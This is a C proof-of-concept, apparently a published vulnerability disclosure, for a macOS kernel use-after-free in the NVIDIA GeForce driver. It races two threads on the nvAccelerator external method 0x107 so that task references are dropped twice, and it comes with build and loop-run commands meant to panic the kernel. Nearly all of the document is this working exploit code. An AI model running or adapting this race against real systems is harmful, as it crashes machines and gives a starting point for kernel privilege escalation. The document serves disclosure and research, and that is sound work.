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147 | /*
nvDevice::SetAppSupportBits is external method 0x107 of the nvAccelerator IOService.
It calls task_deallocate without locking. Two threads can race calling this external method to drop
two task references when only one is held.
Note that the repro forks a child which give the nvAccelerator a different task otherwise
the repro is more likely to leak task references than panic.
*/
// ianbeer
#if 0
MacOS kernel UAF due to lack of locking in nvidia GeForce driver
nvDevice::SetAppSupportBits is external method 0x107 of the nvAccelerator IOService.
It calls task_deallocate without locking. Two threads can race calling this external method to drop
two task references when only one is held.
Note that the repro forks a child which give the nvAccelerator a different task otherwise
the repro is more likely to leak task references than panic.
#endif
// build: clang -o nvtask nvtask.c -framework IOKit
// run: while true; do ./nvtask; done
#include <stdint.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <unistd.h>
#include <pthread.h>
#include <mach/mach.h>
#include <mach/vm_map.h>
#include <IOKit/IOKitLib.h>
uint64_t set_app_support_bits(mach_port_t conn) {
kern_return_t err;
uint64_t inputScalar[16];
uint64_t inputScalarCnt = 0;
char inputStruct[4096];
size_t inputStructCnt = 0;
uint64_t outputScalar[16];
uint32_t outputScalarCnt = 0;
char outputStruct[4096];
size_t outputStructCnt = 0;
inputStructCnt = 1;
outputStructCnt = 1;
inputStruct[0] = 0xff;
err = IOConnectCallMethod(
conn,
0x107,
inputScalar,
inputScalarCnt,
inputStruct,
inputStructCnt,
outputScalar,
&outputScalarCnt,
outputStruct,
&outputStructCnt);
if (err != KERN_SUCCESS){
printf("IOConnectCall error: %x\n", err);
} else{
printf("worked?\n");
}
return 0;
}
volatile int go = 0;
volatile int running = 0;
void* thread_func(void* arg) {
mach_port_t conn = (mach_port_t)arg;
printf("thread running\n");
running = 1;
while(!go){;}
set_app_support_bits(conn);
return 0;
}
int main(int argc, char** argv){
pid_t child_pid = fork();
if (child_pid == -1) {
printf("fork failed\n");
return 0;
}
if (child_pid) {
io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("nvAccelerator"));
if (service == MACH_PORT_NULL) {
printf("unable to find service\n");
return 0;
}
printf("got service: 0x%x\n", service);
io_connect_t conn = MACH_PORT_NULL;
kern_return_t err = IOServiceOpen(service, mach_task_self(), 5, &conn); // nvDevice
if (err != KERN_SUCCESS) {
printf("unable to open ioservice\n");
return 0;
}
printf("got service\n");
pthread_t th;
pthread_create(&th, NULL, thread_func, (void*)conn);
while(!running){;}
go = 1;
set_app_support_bits(conn);
pthread_join(th, NULL);
int loc = 0;
wait(&loc);
} else {
io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("nvAccelerator"));
if (service == MACH_PORT_NULL) {
printf("unable to find service\n");
return 0;
}
printf("got service: 0x%x\n", service);
io_connect_t conn = MACH_PORT_NULL;
kern_return_t err = IOServiceOpen(service, mach_task_self(), 5, &conn); // nvDevice
if (err != KERN_SUCCESS) {
printf("unable to open ioservice\n");
return 0;
}
printf("got service\n");
set_app_support_bits(conn);
}
return 0;
}
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